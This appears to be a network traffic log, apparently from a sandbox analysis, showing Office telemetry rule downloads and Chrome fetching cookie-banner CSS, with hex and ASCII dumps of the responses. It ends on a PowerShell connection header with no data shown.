2024-11-02 13:00:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130022Z-15869dbbcc6b69h9hC1DFWf01w00000000fg00000000652m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 002cc246-201e-003f-0a51-2c6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130022Z-176bd8f9bc5kp2ljhC1DFW54h000000001z0000000005bfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49809	104.18.86.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	605	OUT	GET /scripttemplates/202408.1.0/assets/otCommonStyles.css HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://account.booking.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:22 UTC	915	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:22 GMT Content-Type: text/css Content-Length: 24720 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cf-Bgj: minify Cf-Polished: origSize=24745 Content-MD5: HyPJ72TNHxdfOI82cqKVqA== ETag: 0x8DCD149712ED840 Last-Modified: Tue, 10 Sep 2024 03:34:14 GMT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a1f57555-a01e-0001-04cc-249277000000 x-ms-version: 2009-09-19 Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 15051 Accept-Ranges: bytes Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8dc44ea1dfe76c22-DFW
2024-11-02 13:00:22 UTC	454	IN	Data Raw: 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 6e 65 74 72 75 73 74 2d 76 65 6e 64 6f 72 73 2d 6c 69 73 74 2d 68 61 6e 64 6c 65 72 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 63 6f 6c 6f 72 3a 23 31 66 39 36 64 62 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 35 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 6e 65 74 72 75 73 74 2d 76 65 6e 64 6f 72 73 2d 6c 69 73 74 2d 68 61 6e 64 6c 65 72 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 66 39 36 64 62 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 3a 66 6f 63 75 73 7b 6f 75 74 6c Data Ascii: #onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:700;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outl
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 62 74 6e 2d 68 61 6e 64 6c 65 72 7b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 31 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 2e 6f 74 2d 62 6e 72 2d 77 2d 6c 6f 67 6f 20 2e 6f 74 2d 62 6e 72 2d 6c 6f 67 6f 7b 68 65 69 67 68 74 3a 36 34 70 78 3b 77 69 64 74 68 3a 36 34 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 74 63 66 32 2d 76 65 6e 64 6f 72 2d 63 6f 75 6e 74 2e 6f 74 2d 74 65 78 74 2d 62 6f 6c 64 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 63 6c 6f 73 65 2d 69 63 6f 6e 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f Data Ascii: t-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold{font-weight:700}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .o
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 68 36 20 2a 2c 23 6f 74 2d 73 79 6e 63 2d 6e 74 66 79 20 62 75 74 74 6f 6e 20 2a 2c 23 6f 74 2d 73 79 6e 63 2d 6e 74 66 79 20 61 5b 64 61 74 61 2d 70 61 72 65 6e 74 2d 69 64 5d 20 2a 7b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 69 6e 68 65 72 69 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 68 69 64 65 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 68 69 64 65 2c 23 6f 74 2d 73 79 6e 63 2d 6e 74 66 79 20 2e 6f 74 2d 68 69 64 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 62 75 74 74 6f 6e 2e 6f 74 2d 6c 69 6e 6b 2d 62 74 6e Data Ascii: h6 ,#ot-sync-ntfy button ,#ot-sync-ntfy a[data-parent-id] *{font-size:inherit;font-weight:inherit;color:inherit}#onetrust-banner-sdk .ot-hide,#onetrust-pc-sdk .ot-hide,#ot-sync-ntfy .ot-hide{display:none!important}#onetrust-banner-sdk button.ot-link-btn
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 31 38 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 70 63 2d 6c 6f 67 6f 20 69 6d 67 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 70 63 2d 6c 6f 67 6f 20 69 6d 67 7b 6d 61 78 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 Data Ascii: 180px;background-position:center;background-size:contain;background-repeat:no-repeat;display:inline-flex;justify-content:center;align-items:center}#onetrust-pc-sdk .pc-logo img,#onetrust-pc-sdk .ot-pc-logo img{max-height:100%;max-width:100%}#onetrust-pc-s
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 6d 65 73 20 6f 6e 65 74 72 75 73 74 2d 66 61 64 65 2d 69 6e 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 7d 31 30 30 25 7b 6f 70 61 63 69 74 79 3a 31 7d 7d 2e 6f 74 2d 63 6f 6f 6b 69 65 2d 6c 61 62 65 6c 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 34 32 36 70 78 29 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 38 39 36 70 78 29 61 6e 64 20 28 6f 72 69 65 6e 74 61 74 69 6f 6e 3a 6c 61 6e 64 73 63 61 70 65 29 7b 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 65 6d 7d 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 62 61 6e 6e 65 72 2d 6f 70 74 69 6f 6e 2d 69 Data Ascii: mes onetrust-fade-in{0%{opacity:0}100%{opacity:1}}.ot-cookie-label{text-decoration:underline}@media only screen and (min-width:426px)and (max-width:896px)and (orientation:landscape){#onetrust-pc-sdk p{font-size:.75em}}#onetrust-banner-sdk .banner-option-i
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 35 70 78 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 7b 68 65 69 67 68 74 3a 32 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 35 29 7d 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 20 70 61 74 68 2c 23 6f 6e 65 74 72 75 73 74 2d 70 63 2d 73 64 6b 20 2e 6f 74 2d 6f 70 74 6f 75 74 2d 73 69 67 6e 61 6c 20 73 76 67 20 70 61 74 68 7b 66 69 6c 6c 3a 23 33 32 61 Data Ascii: play:inline;margin-right:5px}#onetrust-banner-sdk .ot-optout-signal svg,#onetrust-pc-sdk .ot-optout-signal svg{height:20px;width:30px;transform:scale(.5)}#onetrust-banner-sdk .ot-optout-signal svg path,#onetrust-pc-sdk .ot-optout-signal svg path{fill:#32a
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 74 75 72 65 2d 68 65 61 6c 74 68 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 63 6f 6e 74 2c 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 67 72 6f 75 70 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 63 6f 6e 74 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 32 35 72 65 6d 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 70 61 72 61 67 72 61 70 68 2c 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d Data Ascii: ture-health .ot-signature-cont,#onetrust-consent-sdk .ot-signature-health-group .ot-signature-cont{display:flex;flex-direction:column;gap:.25rem}#onetrust-consent-sdk .ot-signature-health .ot-signature-paragraph,#onetrust-consent-sdk .ot-signature-health-
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 67 61 70 3a 2e 35 72 65 6d 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 69 6e 70 75 74 2d 66 69 65 6c 64 2d 63 6f 6e 74 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 69 6e 70 75 74 7b 77 69 64 74 68 3a 36 35 25 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 66 6f 72 6d 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 23 6f 6e 65 74 72 75 73 74 2d 63 6f 6e 73 65 6e 74 2d 73 64 6b 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 68 65 61 6c 74 68 2d 66 6f 72 6d 20 2e 6f 74 2d 73 69 67 6e 61 74 75 72 65 2d 6c 61 62 65 6c 7b 6d 61 72 67 69 Data Ascii: irection:column;gap:.5rem}#onetrust-consent-sdk .ot-input-field-cont .ot-signature-input{width:65%}#onetrust-consent-sdk .ot-signature-health-form{display:flex;flex-direction:column}#onetrust-consent-sdk .ot-signature-health-form .ot-signature-label{margi
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 6e 65 72 2d 73 64 6b 20 61 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6c 61 62 65 6c 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 69 6e 70 75 74 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 75 6c 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6c 69 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 6e 61 76 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 61 62 6c 65 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 68 65 61 64 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 72 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 2d 73 64 6b 20 74 64 2c 23 6f 6e 65 74 72 75 73 74 2d 62 61 6e 6e 65 72 Data Ascii: ner-sdk a,#onetrust-banner-sdk label,#onetrust-banner-sdk input,#onetrust-banner-sdk ul,#onetrust-banner-sdk li,#onetrust-banner-sdk nav,#onetrust-banner-sdk table,#onetrust-banner-sdk thead,#onetrust-banner-sdk tr,#onetrust-banner-sdk td,#onetrust-banner
2024-11-02 13:00:22 UTC	1369	IN	Data Raw: 73 76 67 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 62 75 74 74 6f 6e 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 73 65 63 74 69 6f 6e 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 61 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6c 61 62 65 6c 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 69 6e 70 75 74 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 75 6c 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6c 69 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 6e 61 76 2c 23 6f 74 2d 73 64 6b 2d 63 6f 6f 6b 69 65 2d 70 6f 6c 69 63 79 20 74 61 62 6c 65 2c 23 6f 74 2d 73 64 6b 2d Data Ascii: svg,#ot-sdk-cookie-policy button,#ot-sdk-cookie-policy section,#ot-sdk-cookie-policy a,#ot-sdk-cookie-policy label,#ot-sdk-cookie-policy input,#ot-sdk-cookie-policy ul,#ot-sdk-cookie-policy li,#ot-sdk-cookie-policy nav,#ot-sdk-cookie-policy table,#ot-sdk-

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130022Z-15869dbbcc6rzfwxhC1DFWzh2s00000000h0000000006w94 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-02 13:00:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130022Z-16547b76f7fp46ndhC1DFW66zg00000000r00000000084f3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-02 13:00:22 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241102T130022Z-16547b76f7frbg6bhC1DFWr54000000000f0000000007y8u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-02 13:00:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49803	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
